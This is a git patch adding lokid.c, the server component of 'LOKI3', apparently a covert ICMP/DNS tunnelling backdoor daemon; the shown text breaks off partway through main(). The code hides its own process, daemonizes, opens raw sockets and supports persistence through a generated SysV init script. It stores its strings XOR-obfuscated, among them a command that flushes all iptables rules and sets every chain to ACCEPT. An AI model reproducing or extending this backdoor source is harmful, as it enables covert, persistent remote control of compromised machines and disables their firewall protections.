From eeac69b2168c5a65f9608771006ccc43033cbd23 Mon Sep 17 00:00:00 2001 From: daniel Date: Wed, 7 May 2025 09:45:50 -0700 Subject: initial commit --- lokid.c | 581 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 581 insertions(+) create mode 100644 lokid.c (limited to 'lokid.c') diff --git a/lokid.c b/lokid.c new file mode 100644 index 0000000..46c0794 --- /dev/null +++ b/lokid.c @@ -0,0 +1,581 @@ +/* + * LOKI3 + * + * [ lokid.c ] + * + * 1996/7 Guild Corporation Worldwide [daemon9] + */ + +#include "loki.h" +#include "client_db.h" +#include "shm.h" +#include "prochide.h" +#include "persistence.h" + + +#define WORKING_ROOT "/tmp" /* TODO: think about changing this */ + + +jmp_buf env; /* holds our stack frame */ +struct loki sdg, rdg; /* LOKI packets */ +time_t uptime = 0; /* server uptime */ +uint32_t b_sent = 0, p_sent = 0; /* bytes / packets written */ +uint16_t c_id = 0; /* client id */ +int destroy_shm = NOK; /* Used to mark whether or not a process should + * destroy the shm segment upon exiting. */ +int verbose = OK, prot = IPPROTO_ICMP, ripsock = 0, tsock = 0; + + +/* + * Obfuscated strings + */ +estring S_MSG_BANNER = { "\xda\x30\x80\x6c\x99\xbc\xe5\x8d\xbd\x1a\xbd\x07\x8b\xa7\x8f\xc0\xf0\x4e\xff\x16\xe9\xa2\xdf\xd9\xe0\x4c\xef\x62\xbc\xea\x8f\x9d\xb9\x0a\xaa\x07\x83\xfa\x9e\x8e\xb5\x0e\xb6\x7a\xda", 45, "\xd0\x7c\xcf\x27\xd0\x8f\xec\xe9", 8 }; // \nLOKI3\tdmfr [(c) 2019-3000 Elective Surgery]\n +estring S_MSG_CLIENT_PROTO_SWAP = { "\x3d\x41\x12\xee\x47\xc4\x0b\x00\x54\x41\x14\xe0\x40\xd4\x11\x1c\x12\x49\x43\xa5\x5c\xc5\x40\x55\x52\x5e\x09\xe0\x4a\x80\x50\x00\x47\x5f\x12\xf1\x41\xc3\x5e\x4c\x17\x5e\x0a\xe4\x5e\xaa", 46, "\x37\x2d\x7d\x85\x2e\xa0\x31\x20", 8 }; // \nlokid: client <%d> requested a protocol swap\n +estring S_MSG_SEND_PROTO_UPDATE = { "\xb0\xb8\xcf\x06\xc5\x5c\xc3\x1c\x99\xbb\xd8\x07\xd5\x5a\xce\x14\xd5\xeb\xdf\x18\xc5\x54\xd9\x1e\x83\xeb\x96\x4d\xc5\x0b\x8d\x5e\xca\xeb\xf1\x4d\xc5\x68\xa7", 39, "\xb9\xcb\xaa\x68\xa1\x35\xad\x7b", 8 }; // \tsending protocol update: <%d> %s [%d]\n +estring S_MSG_PROTOCOL_CHANGED = { "\xdf\xa6\xa4\xda\x50\x91\x08\x98\xc1\xa8\xa1\xc0\x44\xc4\x5a\x98\x93\xb9\xbd\xdc\x40\xc4\x4b\x83\xdf\xe9\xac\xdb\x55\xc5\x4f\x89\xd7\xe9\xbb\xdc\x14\x8e\x5b\xe6", 40, "\xb3\xc9\xcf\xb3\x34\xab\x28\xec", 8 }; // lokid: transport protocol changed to %s\n +estring S_MSG_UNSUP = { "\xed\xdd\xcd\xdd\x8f\xfa\x1a\xd4\x92\xdf\xd1\xc3\x96\xee\x4f\x86\x93\xd4\xc6\x96\x89\xec\x00\x81\x89\xda\xcc\xd9\x91\xf0\x00\x97\x88\xdc\xcf\xd7\x88\xfa\x00\x87\x93\xc3\xcb\xd8\x81\x94", 46, "\xe7\xb1\xa2\xb6\xe6\x9e\x20\xf4", 8 }; // \nlokid: unsupported or unknown command string\n +estring S_MSG_USAGE = { "\x71\x70\xfc\xfb\xfd\x33\x14\x33\x0b\x3c\xbb\xf9\xe8\x22\x1d\x3e\x20\x3c\xbe\xe6\xb4\x7f\x04\x62\x4a\x35\xb3\xcd\x9e", 29, "\x7b\x1c\x93\x90\x94\x57\x34\x1e", 8 }; // \nlokid -p (i|u) [ -v (0|1) ]\n +estring S_MSG_CANNOT_ADD_KEY = { "\x51\x5c\xb3\x15\xfd\x1a\xfd\x09\x18\x51\xb2\x10\xfb\x0a\xe7\x48\x3f\x54\xfc\x15\xf1\x07\xcd", 23, "\x5b\x30\xdc\x7e\x94\x7e\xc7\x29", 8 }; // \nlokid: Cannot add key\n +estring S_MSG_CANNOT_DAEMONIZE = { "\x23\xa8\xb5\x5c\x5e\x34\x7d\x70\x3b\xaf\xba\x46\x50\x2c\x00\x37\x17\xee\xb0\x49\x5a\x35\x4f\x3e", 24, "\x78\xce\xd4\x28\x3f\x58\x20\x50", 8 }; // [fatal] Cannot go daemon +estring S_MSG_CANNOT_CREATE_SESSION = { "\x00\xc6\xc8\x13\x36\x16\x5b\x6e\x18\xc1\xc7\x09\x38\x0e\x26\x2d\x29\xc5\xc8\x13\x32\x5a\x75\x2b\x28\xd3\xc0\x08\x39", 29, "\x5b\xa0\xa9\x67\x57\x7a\x06\x4e", 8 }; // [fatal] Cannot create session +estring S_MSG_CANNOT_DETACH_TERMINAL = { "\xb1\x4f\x79\xe6\xf6\xc4\x86\xdd\x89\x48\x76\xfc\xf8\xdc\xfb\x99\x8f\x5d\x79\xf1\xff\x88\xbd\x8f\x85\x44\x38\xf1\xf8\xc6\xaf\x8f\x85\x45\x74\xfb\xf9\xcf\xfb\x89\x8f\x5b\x75\xfb\xf9\xc9\xb7", 47, "\xea\x29\x18\x92\x97\xa8\xdb\xfd", 8 }; // [fatal] cannot detach from controlling terminal +estring S_MSG_CANNOT_CHDIR = { "\x67\x81\x67\x62\x00\xa8\x91\x37\x5f\x86\x68\x78\x0e\xb0\xec\x74\x54\x83\x6f\x64\x41\xb0\xa3\x37\x6b\xa8\x54\x5d\x28\x8a\x8b\x48\x6e\xa8\x49\x42", 36, "\x3c\xe7\x06\x16\x61\xc4\xcc\x17", 8 }; // [fatal] cannot chdir to WORKING_ROOT +estring S_MSG_CANNOT_SIGNAL_PARENT = { "\x2f\x17\x9f\xa9\x85\x4f\xc9\xba\x17\x1e\x8b\xb1\x80\x03\xfa\xf5\x00\x51\x8d\xb4\x83\x4d\xf5\xf6\x54\x01\x9f\xaf\x81\x4d\xe0", 31, "\x74\x71\xfe\xdd\xe4\x23\x94\x9a", 8 }; // [fatal] could not signal parent +estring S_MSG_NOPRIV = { "\x0f\x71\x84\x61\x50\xc4\x61\xae\x25\x43\x8c\x76\x45\xc9\x64\x97\x25\x5f\x91\x65\x56\x85\x64\x97\x60\x44\x96\x69\x42\xcc\x6e\x92\x71\x43\x8d\x6e\x04\xd3\x6c\x9f\x70\x4f", 42, "\x05\x2a\xe2\x00\x24\xa5\x0d\xf3", 8 }; // \n[fatal] invalid user identification value +estring S_MSG_UNKNOWN_TRANSPORT = { "\x69\xde\x30\x07\x32\xe1\x75\xe0\x67\xd6\x3a\x1d\x3c\xfa\x46\xe0\x46\xca\x30\x1d\x20\xfd\x47\xb2\x46\xb2", 26, "\x32\xb8\x51\x73\x53\x8d\x28\xc0", 8 }; // [fatal] Unknown transport\n +estring S_MSG_SOCKET = { "\xb8\x79\x5c\x92\x4f\xa7\x59\x98\x90\x70\x5e\x8d\x4b\xbf\x24\xd9\x8f\x73\x52\x85\x4f\xbf\x6d\xd7\x8d\x3f\x58\x94\x5c\xa4\x76", 31, "\xe3\x1f\x3d\xe6\x2e\xcb\x04\xb8", 8 }; // [fatal] socket allocation error +estring S_MSG_IP_HDRINCL = { "\xf0\x67\xc9\x6a\xef\x9d\x60\xd8\xd6\x72\x87\x4d\xd0\xb6\x08\xef\xe1\x4f\xe9\x47\xcc\xc9\x33\xc4\xd0\x6d\xc2\x70\xa0\x86\x30\xdf\xda\x69\xc9", 35, "\xb3\x06\xa7\x04\x80\xe9\x40\xab", 8 }; // Cannot set IP_HDRINCL socket option +estring S_MSG_ATEXIT = { "\xaf\x8e\x3b\x4d\xe8\xf6\x34\x78\x97\x89\x34\x57\xe6\xee\x49\x2a\x91\x8f\x33\x4a\xfd\xff\x1b\x78\x83\x81\x2e\x51\xa9\xfb\x1d\x3d\x8c\x81\x2e\x11\xbb\xb3", 38, "\xf4\xe8\x5a\x39\x89\x9a\x69\x58", 8 }; // [fatal] cannot register with atexit(2) +estring S_MSG_SIGUSR1 = { "\xcc\x88\xde\x60\x93\xc5\xec\x2a\xf4\x8f\xd1\x7a\x9d\xdd\x91\x69\xf6\x9a\xdc\x7c\xd2\xfa\xf8\x4d\xc2\xbd\xed\x25", 28, "\x97\xee\xbf\x14\xf2\xa9\xb1\x0a", 8 }; // [fatal] cannot catch SIGUSR1 +estring S_MSG_SIGTERM = { "\xe9\x07\x13\xc1\x95\xb5\x56\x17\xd1\x00\x1c\xdb\x9b\xad\x2b\x54\xd3\x15\x11\xdd\xd4\x8a\x42\x70\xe6\x24\x20\xf8", 28, "\xb2\x61\x72\xb5\xf4\xd9\x0b\x37", 8 }; // [fatal] cannot catch SIGTERM +estring S_MSG_SIGALRM = { "\x62\x88\x0a\xcc\x0e\xc2\x6b\xc6\x5a\x8f\x05\xd6\x00\xda\x16\x85\x58\x9a\x08\xd0\x4f\xfd\x7f\xa1\x78\xa2\x39\xf5", 28, "\x39\xee\x6b\xb8\x6f\xae\x36\xe6", 8 }; // [fatal] cannot catch SIGALRM +estring S_MSG_SIGCHLD = { "\x21\x2d\xd9\x64\x57\x0d\x48\xc8\x19\x2a\xd6\x7e\x59\x15\x35\x8b\x1b\x3f\xdb\x78\x16\x32\x5c\xaf\x39\x03\xf4\x54", 28, "\x7a\x4b\xb8\x10\x36\x61\x15\xe8", 8 }; // [fatal] cannot catch SIGCHLD +estring S_MSG_WIERDERR = { "\x54\x37\x14\x8a\x9b\x0f\xdc\x9d\x38\x0d\x33\xbe\xa7\x17\xae\xde\x31\x02\x33\xad\xa4\x26\xae\xce\x36\x03\x32\xb3\xaf\x6a\xc0\xf8\x08\x29\x15\xff\xad\x2b\xe2\xd1\x7e\x04\x22\xad\xae\x40", 46, "\x5e\x6c\x47\xdf\xcb\x4a\x8e\xbd", 8 }; // \n[SUPER fatal] control should NEVER fall here\n +estring S_MSG_FORK_ERROR = { "\xf2\xf4\x22\x03\x2b\xa8\x3b\xe8\xcf\xfd\x31\x1c\x23\xaa\x01\xe8\xcc\xe0\x31\x18\x38", 21, "\xa9\x92\x43\x77\x4a\xc4\x66\xc8", 8 }; // [fatal] forking error +estring S_MSG_CLIENT_FREED = { "\xa6\x86\xd6\xf2\xcc\x64\x04\xda\xcf\x86\xd0\xfc\xcb\x74\x1e\xc6\x89\x8e\x87\xb9\xc3\x72\x5b\x9f\xc8\xca\xdf\xeb\xca\x6d\x1e\x96\xc5\x99\xcd\xb9\xfe\x25\x5a\xa7", 40, "\xac\xea\xb9\x99\xa5\x00\x3e\xfa", 8 }; // \nlokid: client <%d> freed from list [%d] +estring S_MSG_CLIENT_ALL_KILL = { "\x17\xe9\x11\x4d\x06\xf1\x0a\x08\x7e\xe9\x17\x43\x01\xe1\x10\x14\x38\xe1\x40\x06\x1d\xf0\x41\x5d\x78\xf6\x0a\x43\x0b\xb5\x51\x46\x3d\xe4\x12\x4a\x4f\xfe\x59\x44\x71\x8f", 42, "\x1d\x85\x7e\x26\x6f\x95\x30\x28", 8 }; // \nlokid: client <%d> requested an all kill +estring S_MSG_POPEN = { "\x12\xcc\xef\xf4\x0b\x16\xc7\xff\x68\xcf\xf0\xfa\x0c", 13, "\x18\xa0\x80\x9f\x62\x72\xfd\xdf", 8 }; // \nlokid: popen +estring S_MSG_TRUNCATED_WRITE = { "\x9c\x5c\xa4\x53\x57\x5c\x64\xd2\xa6\x5e\x96\x1d\x03\x48\x70\xc8\xa4\x53\xbf\x58\x13\x1a\x72\xd4\xae\x46\xae", 27, "\xc7\x32\xcb\x3d\x77\x3a\x05\xa6", 8 }; // [non fatal] truncated write +estring S_MSG_SENDING_L_QUIT = { "\x61\x3c\x16\x2c\x93\x83\x06\xd1\x48\x03\x2c\x13\xa2\xa3\x3c\x8c\x48\x73\x56\x26\xc9\xca\x4d\xc5\x62", 25, "\x68\x4f\x73\x42\xf7\xea\x68\xb6", 8 }; // \tsending L_QUIT: <%d> %s\n +estring S_MSG_CANNOT_SIGNAL_PROCESS_GROUP = { "\x91\xab\x95\x71\xef\x4e\x70\x9f\xa9\xa2\x81\x69\xea\x02\x43\xd0\xbe\xed\x87\x6c\xe9\x4c\x4c\xd3\xea\xbd\x86\x6a\xed\x47\x5e\xcc\xea\xaa\x86\x6a\xfb\x52", 38, "\xca\xcd\xf4\x05\x8e\x22\x2d\xbf", 8 }; // [fatal] could not signal process group +estring S_MSG_UNKNOWN = { "\xcf\xfd\xe5\x15\x72\x32\x7c\x54\xa6\xf0\xe4\x10\x74\x22\x66\x18\xaa\xf2\xeb\x0a\x7e\x76\x25\x18\xac\xf4\xe4\x0a\x3b\x33\x28\x00\xb7\xe8\xaa\x17\x75\x76\x22\x15\xb1\xf0\xe8\x1f\x68\x33\x4c", 47, "\xc5\x91\x8a\x7e\x1b\x56\x46\x74", 8 }; // \nlokid: cannot locate client entry in database\n +estring S_MSG_CLIENTK = { "\x23\x2a\xd6\x8a\x68\xd1\x18\x42\x4a\x2a\xdc\x80\x6f\x95\x47\x1a\x40\x32\x99\xc9\x6a\xdc\x4e\x0e\x4c\x22\x99\x80\x75\x95\x41\x0e\x40\x23\xd7\x95\x21\xc7\x47\x13\x5c\x23\xca\x95\x28\xbf", 46, "\x29\x46\xb9\xe1\x01\xb5\x22\x62", 8 }; // \nlokid: clean exit (killed at client request)\n +estring S_MSG_EXPIRED_CLIENT = { "\x29\xc2\xae\x90\x65\xbc\x3b\x99\x4a\xc0\xa0\x98\x78\xb1\x77\xdc\x03\xcd\xad\x92\x69\xb6\x75\x99\x1f\x8b\xa5\xc5\x2c\xbd\x79\xc9\x4a\xdc\xa4\x9f\x2c\xbe\x73\xd6\x4e\x8e\xad\x92\x7f\xac\x21\xe2\x06\xca\x9c\xf1", 52, "\x23\xae\xc1\xfb\x0c\xd8\x01\xb9", 8 }; // \nlokid: inactive client <%d> expired from list [%d]\n +estring S_MSG_CLIENT_DB_FULL = { "\x2f\x93\x63\xe9\x09\x52\x07\xbb\x66\x93\x65\xe7\x0e\x42\x1d\xff\x44\x8b\x6d\xe0\x01\x45\x58\xbb\x43\x8a\x60\xee", 28, "\x25\xff\x0c\x82\x60\x36\x3d\x9b", 8 }; // \nlokid: Client database full +estring S_MSG_SHM_DETACH_ERROR = { "\x00\xf6\xf0\xe1\xc1\xdb\x72\xac\x28\xf8\xf0\xe7\xc5\xd3\x0f\xe1\x3e\xfd\xb1\xe6\xc5\xd0\x42\xe9\x35\xe4\xb1\xf1\xc5\xc3\x4e\xef\x33\xb0\xf4\xe7\xd2\xd8\x5d", 39, "\x5b\x90\x91\x95\xa0\xb7\x2f\x8c", 8 }; // [fatal] shared mem segment detach error +estring S_MSG_CANNOT_DESTROY_SHMID = { "\xbc\xd0\x68\x87\x6b\x0c\xcb\x50\x84\xd7\x67\x9d\x65\x14\xb6\x14\x82\xc5\x7d\x81\x65\x19\xb6\x03\x8f\xdb\x60\x97", 28, "\xe7\xb6\x09\xf3\x0a\x60\x96\x70", 8 }; // [fatal] cannot destroy shmid +estring S_MSG_CANNOT_DESTROY_SEMAPHORE = { "\x63\x1f\x98\x01\x34\x56\x23\x02\x5b\x18\x97\x1b\x3a\x4e\x5e\x46\x5d\x0a\x8d\x07\x3a\x43\x5e\x51\x5d\x14\x98\x05\x3d\x55\x0c\x47", 32, "\x38\x79\xf9\x75\x55\x3a\x7e\x22", 8 }; // [fatal] cannot destroy semaphore + +/* 'stat' command output strings */ +estring S_STAT_UPTIME = { "\x5b\x6a\x30\xa8\xc3\x14\xc5\x0f\x58\x7b\x2b\xb3\xc3\x5c\xec\x73\x0d\x21\x72\xec\xc0\x46\x88\x13\x46\x7a\x36\xbb\xd5\x6c", 30, "\x28\x0f\x42\xde\xa6\x66\xe5\x7a", 8 }; // server uptime:\t\t%.02f minutes\n +estring S_STAT_VERSION = { "\xcf\x51\x04\x13\x2e\xcc\x51\xed\xa0\x4f\x18\x11\x28\xc6\x4b\x92\xcc\x18\x18\x72", 20, "\xc5\x3d\x6b\x78\x47\xa8\x71\x9b", 8 }; // \nlokid version:\t\t%s\n +estring S_STAT_INTERFACE = { "\x29\x4b\x03\x49\x58\x12\x99\x57\x35\x5a\x0b\x54\x4a\x16\xda\x5b\x61\x27\x4b\x55\x26", 21, "\x5b\x2e\x6e\x26\x2c\x77\xb9\x3e", 8 }; // remote interface:\t%s\n +estring S_STAT_TRANSPORT = { "\xcd\x5a\x26\x45\x7b\xb9\x8f\xdb\xde\x58\x3c\x5f\x7d\xb3\xdd\xdb\x96\x30\x77\x5f\x07", 21, "\xac\x39\x52\x2c\x0d\xdc\xaf\xaf", 8 }; // active transport:\t%s\n +estring S_STAT_CRYPTO = { "\x26\x72\xfb\xc7\xbe\xad\xe9\x0d\x35\x68\xff\xda\xa7\xaf\xbb\x0f\x37\x79\xf6\x94\xc1\xed\xba\x64", 24, "\x47\x11\x8f\xae\xc8\xc8\xc9\x6e", 8 }; // active cryptography:\t%s\n +estring S_STAT_CLIENT_ID = { "\x60\x98\x26\xeb\x77\x00\x9e\x97\x47\xce\x46\x87\x3c\x10\xb4", 15, "\x03\xf4\x4f\x8e\x19\x74\xbe\xde", 8 }; // client ID:\t\t%d\n +estring S_STAT_PACKETS_WRITTEN = { "\x59\xb5\xc1\xcf\x24\x9a\x5b\xfa\x5e\xa6\xcb\xd0\x35\x8b\x46\xe0\x20\xf1\xc6\xae", 20, "\x29\xd4\xa2\xa4\x41\xee\x28\xda", 8 }; // packets written:\t%d\n +estring S_STAT_BYTES_WRITTEN = { "\xc5\x8e\xa8\x1d\x6b\xd6\xf3\x9d\xce\x83\xa8\x1d\x76\xcc\x8d\xe6\x82\x93\xd6", 19, "\xa7\xf7\xdc\x78\x18\xf6\x84\xef", 8 }; // bytes written:\t\t%d\n +estring S_STAT_REQUESTS = { "\x54\x1a\xd9\x40\x1c\x26\x5b\xf2\x1c\x76\xa1\x10\x1d\x5f", 14, "\x26\x7f\xa8\x35\x79\x55\x2f\x81", 8 }; // requests:\t\t%d\n + +estring S_MSG_SHM_SEGMENT_ERROR = { "\x46\x35\xd6\x98\x77\xad\x2a\x3b\x6e\x3b\xd6\x9e\x73\xa5\x57\x76\x78\x3e\x97\x9f\x73\xa6\x1a\x7e\x73\x27\x97\x9e\x73\xb0\x02\x7e\x6e\x27\x97\x89\x64\xb3\x18\x69", 40, "\x1d\x53\xb7\xec\x16\xc1\x77\x1b", 8 }; // [fatal] shared mem segment request error +estring S_MSG_SEMAPHORE_ALLOCATION_ERROR = { "\x7c\x36\x46\x73\xb3\x3d\x34\xdc\x54\x35\x4a\x66\xa2\x39\x06\x8e\x42\x70\x46\x6b\xbe\x3e\x0a\x9d\x53\x39\x48\x69\xf2\x34\x1b\x8e\x48\x22", 34, "\x27\x50\x27\x07\xd2\x51\x69\xfc", 8 }; // [fatal] semaphore allocation error +estring S_MSG_CANNOT_LOCK_MEMORY = { "\x9f\x90\x84\x39\xf7\x83\x42\x2e\xa7\x99\x90\x21\xf2\xcf\x71\x61\xb0\xd6\x89\x22\xf5\x84\x3f\x63\xa1\x9b\x8a\x3f\xef", 29, "\xc4\xf6\xe5\x4d\x96\xef\x1f\x0e", 8 }; // [fatal] could not lock memory +estring S_MSG_CANNOT_UNLOCK_MEMORY = { "\xa5\x15\x5e\xbb\x3c\x94\x01\x5a\x9d\x1c\x4a\xa3\x39\xd8\x32\x15\x8a\x53\x4a\xa1\x31\x97\x3f\x11\xde\x1e\x5a\xa2\x32\x8a\x25", 31, "\xfe\x73\x3f\xcf\x5d\xf8\x5c\x7a", 8 }; // [fatal] could not unlock memory + +estring S_SYSV_SERVICE = { "\xd6\x4a\x5a\xc1\x2d\x8d\x05\x6f\x9d\x61\x56\x80\x67\xc3\x68\x59\xb2\x22\x3b\x83\x0d\xad\x63\x48\xd5\x22\x3b\xe5\x0b\xe9\x09\x3c\xa5\x19\x1a\xd5\x2d\x87\x4f\x6f\xcf\x4b\x50\xd0\x4e\xc0\x0a\x58\x90\x0d\x14\xd6\x28\x97\x07\x4f\x81\x0a\x07\xd7\x7e\xc3\x18\x3c\xc6\x4b\x41\x83\x71\xe9\x09\x3c\xb1\x0e\x13\xc2\x31\x8f\x5e\x31\xa6\x1f\x1a\xd3\x7e\xc3\x1a\x3c\xc4\x4b\x43\xa9\x67\xc3\x79\x74\x9a\x19\x01\x8e\x00\x86\x59\x7f\x87\x02\x05\xd7\x2d\x8c\x44\x26\xd5\x4e\x06\xa9\x67\xc3\x6e\x79\x86\x08\x07\xca\x34\x97\x43\x73\x9b\x51\x55\x86\x37\xe9\x09\x3f\xd6\x4b\x30\xed\x00\xc3\x63\x52\xbc\x3f\x55\xea\x0a\xa5\x65\x16\xff\x08\x14\xd0\x21\xc3\x08\x38\xc4\x49\x55\xca\x2a\xe9\x0a\x3c\xd5\x4b\x06\xd7\x25\x91\x5e\x35\xff\x4b\x55\x83\x64\xc3\x0a\x3c\xd5\x4e\x06\x83\x62\xe9\x0a\x3c\xd5\x4b\x55\x83\x64\xc3\x11\x27\xff\x0e\x06\xc2\x27\xe9\x4f\x64\x9c\x1f\x55\x93\x4e", 213, "\xf5\x6b\x75\xa3\x44\xe3\x2a\x1c", 8 }; // #!/bin/sh\n### BEGIN INIT INFO\n# Provides: %s\n# Default-Start: 2 3 4 5\n# Default-Stop: 0 1 6\n# Short-Description: %s\n# Description: %s\n### END INIT INFO\n\ncase "$1" in\n start)\n\n %s &\n ;;\nesac\nexit 0\n + +estring S_CMD_FLUSH_IPTABLES = { "\xcf\xe8\x78\xf3\xcb\xe7\xff\x95\xf6\xc7\x16\x94\x83\xbb\xfe\xd8\xec\xcb\x45\xd5\xd6\xa1\xfc\x83\xfe\xcb\x40\xde\x85\xe8\xa1\xaf\xbf\x9b\x12\x9b\xd9\xac\xe9\x81\xb0\xc7\x59\xd7\x9a\xf3\xac\xa7\xde\xfd\x64\x86\xd9\xbb\xee\x9e\xf1\x93\x03\xce\x85\xba\xa3\x84\xfd\xc0\x42\x9b\x9f\xb8\xf8\x96\xfd\xc5\x49\xc8\xd6\xe5\xca\xd7\xad\x97\x0c\x94\x92\xad\xfa\xd8\xf1\xdc\x40\xd7\xcd\xe8\xdc\xb6\xcb\xe1\x11\x94\x85\xaa\xe5\x99\xa5\x86\x59\xc8\x84\xe7\xff\x95\xf6\xc7\x0c\xd2\x86\xbc\xed\x95\xf3\xcc\x5f\x9b\xdb\xbc\xac\x99\xfe\xdd\x0c\x96\xb0\xe8\xbe\xc9\xbf\x86\x48\xde\x80\xe7\xe2\x82\xf3\xc5\x17\x9b\xa6\x89\xd8\xbf\xa2\x86\x5f\xd9\x9f\xa6\xb6\xd8\xea\xda\x5e\x94\x85\xaa\xe5\x99\xbf\xc0\x5c\xcf\x97\xaa\xe0\x92\xec\x89\x01\xcf\xd6\xa6\xed\x83\xbf\x84\x74\x9b\xc4\xf6\xac\xd8\xfb\xcc\x5a\x94\x98\xbd\xe0\x9b\xa4\x89\x7c\xfa\xa2\x80\xb1\xd8\xec\xcb\x45\xd5\xcc\xe7\xf9\x84\xed\x86\x5f\xd9\x9f\xa6\xac\x9e\xef\xdd\x4d\xd9\x9a\xad\xff\xd7\xb2\xdd\x0c\xd6\x97\xa6\xeb\x9b\xfa\x89\x01\xfd\xd6\xfa\xb2\xd7\xb0\xcd\x49\xcd\xd9\xa6\xf9\x9b\xf3\x92\x0c\xeb\xb7\x9c\xc4\xca\xb0\xda\x4e\xd2\x98\xf2\xa3\x82\xec\xdb\x03\xc8\x94\xa1\xe2\xd7\xf6\xd9\x58\xda\x94\xa4\xe9\x84\xbf\x84\x58\x9b\x9b\xa9\xe2\x90\xf3\xcc\x0c\x96\xae\xe8\xbe\xc9\xbf\x86\x48\xde\x80\xe7\xe2\x82\xf3\xc5\x17\x9b\xa6\x89\xd8\xbf\xa2\x86\x5f\xd9\x9f\xa6\xb6\xd8\xea\xda\x5e\x94\x85\xaa\xe5\x99\xbf\xc0\x5c\xcf\x97\xaa\xe0\x92\xec\x89\x01\xcf\xd6\xba\xed\x80\xbf\x84\x6a\x9b\xc4\xf6\xac\xd8\xfb\xcc\x5a\x94\x98\xbd\xe0\x9b\xa4\x89\x7c\xfa\xa2\x80\xb1\xd8\xec\xcb\x45\xd5\xcc\xe7\xf9\x84\xed\x86\x5f\xd9\x9f\xa6\xac\x9e\xef\xdd\x4d\xd9\x9a\xad\xff\xd7\xb2\xdd\x0c\xc9\x97\xbf\xac\xda\xc7\x89\x1e\x85\xd6\xe7\xe8\x92\xe9\x86\x42\xce\x9a\xa4\xb7\xd7\xcf\xe8\x78\xf3\xcb\xe7\xff\x95\xf6\xc7\x16\x94\x83\xbb\xfe\xd8\xec\xcb\x45\xd5\xd6\xa1\xfc\x83\xfe\xcb\x40\xde\x85\xe8\xa1\xa7\xbf\xe0\x62\xeb\xa3\x9c\xac\xb6\xdc\xea\x69\xeb\xa2\xe8\xbe\xc9\xbf\x86\x48\xde\x80\xe7\xe2\x82\xf3\xc5\x17\x9b\xa6\x89\xd8\xbf\xa2\x86\x5f\xd9\x9f\xa6\xb6\xd8\xea\xda\x5e\x94\x85\xaa\xe5\x99\xbf\xc0\x5c\xcf\x97\xaa\xe0\x92\xec\x89\x01\xeb\xd6\x8e\xc3\xa5\xc8\xe8\x7e\xff\xd6\x89\xcf\xb4\xda\xf9\x78\x9b\xc4\xf6\xac\xd8\xfb\xcc\x5a\x94\x98\xbd\xe0\x9b\xa4\x89\x7c\xfa\xa2\x80\xb1\xd8\xec\xcb\x45\xd5\xcc\xe7\xf9\x84\xed\x86\x5f\xd9\x9f\xa6\xac\x9e\xef\xdd\x4d\xd9\x9a\xad\xff\xd7\xb2\xf9\x0c\xf4\xa3\x9c\xdc\xa2\xcb\x89\x6d\xf8\xb5\x8d\xdc\xa3\xbf\x9b\x12\x9b\xd9\xac\xe9\x81\xb0\xc7\x59\xd7\x9a", 605, "\x9f\xa9\x2c\xbb\xf6\xc8\x8c\xf7", 8 }; // PATH=/sbin:/usr/sbin iptables -X 2> /dev/null; PATH=/sbin:/usr/sbin iptables -F 2> /dev/null; PATH=/sbin:/usr/sbin iptables -t nat -F 2> /dev/null; PATH=/sbin:/usr/sbin iptables -t nat -X 2> /dev/null; PATH=/sbin:/usr/sbin iptables -t mangle -F 2> /dev/null; PATH=/sbin:/usr/sbin iptables -t mangle -X 2> /dev/null; PATH=/sbin:/usr/sbin iptables -t raw -F 2> /dev/null; PATH=/sbin:/usr/sbin iptables -t raw -X 2> /dev/null; PATH=/sbin:/usr/sbin iptables -P INPUT ACCEPT 2> /dev/null; PATH=/sbin:/usr/sbin iptables -P FORWARD ACCEPT 2> /dev/null; PATH=/sbin:/usr/sbin iptables -P OUTPUT ACCEPT 2> /dev/null + + +int main(int argc, char *argv[]) { + static int one = 1, c, cflags = 0; + uint8_t buf1[BUFSIZE] = {0}; + pid_t pid = 0; + char *dbuf; /* For deobfuscating strings */ +#ifdef POPEN + FILE *job = NULL; + char buf2[BUFSIZE] = {0}; +#endif /* POPEN */ + + + /* ensure we have proper permissions */ + if (geteuid() || getuid()) { + err_exit(0, 1, 1, decrypt(S_MSG_NOPRIV)); + } + + while ((c = getopt(argc, argv, "v:p:")) != EOF) { + switch (c) { + case 'v': /* change verbosity */ + verbose = atoi(optarg); + break; + + case 'p': /* choose transport protocol */ + switch (optarg[0]) { + case 'i': /* ICMP_ECHO / ICMP_ECHOREPLY */ + prot = IPPROTO_ICMP; + break; + + case 'u': /* DNS query / reply */ + prot = IPPROTO_UDP; + break; + + default: + err_exit(1, 0, 1, decrypt(S_MSG_UNKNOWN_TRANSPORT)); + } + + break; + + default: + err_exit(0, 0, 1, decrypt(S_MSG_USAGE)); + } + } + + /* Attempt to hide process */ + prochide(argc, argv); + + if ((tsock = socket(AF_INET, SOCK_RAW, prot)) < 0) { + err_exit(1, 1, 1, decrypt(S_MSG_SOCKET)); + } + + if ((ripsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { + err_exit(1, 1, 1, decrypt(S_MSG_SOCKET)); + } + +#ifdef DEBUG + fprintf(stderr, "[DEBUG]\tRaw IP socket: "); + fd_status(ripsock, OK); +#endif /* DEBUG */ + +#ifdef IP_HDRINCL + if (setsockopt(ripsock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) < 0) + if (verbose) { + dbuf = decrypt(S_MSG_IP_HDRINCL); + perror(dbuf); + destroy(dbuf, S_MSG_IP_HDRINCL.size); + } +#endif /* IP_HDRINCL */ + + /* power up shared memory segment and semaphore, register dump_shm + to be called upon exit */ + prep_shm(); + if (atexit(dump_shm) == -1) { + err_exit(1, 1, verbose, decrypt(S_MSG_ATEXIT)); + } + + dbuf = decrypt(S_MSG_BANNER); + fprintf(stderr, "%s", dbuf); + destroy(dbuf, S_MSG_BANNER.size); + + time(&uptime); /* server uptime timer */ + +#ifndef DEBUG + shadow(); /* go daemon */ +#endif /* DEBUG */ + + destroy_shm = OK; /* if this process exits at any point from + hereafter, mark shm as destroyed */ + + /* Every KEY_TIMER seconds, we should check the client_key list + and see if any entries have been idle long enough to expire + them. */ + if (signal(SIGALRM, client_expiry_check) == SIG_ERR) { + err_exit(1, 1, verbose, decrypt(S_MSG_SIGALRM)); + } + + alarm(KEY_TIMER); + +#ifdef PERSISTENCE + /* SIGTERM Persistence */ + unlink_persistence(); + + if (signal(SIGTERM, handle_sigterm) == SIG_ERR) { + err_exit(1, 1, verbose, decrypt(S_MSG_SIGTERM)); + } +#endif /* PERSISTENCE */ + + if (signal(SIGCHLD, reaper) == SIG_ERR) { + err_exit(1, 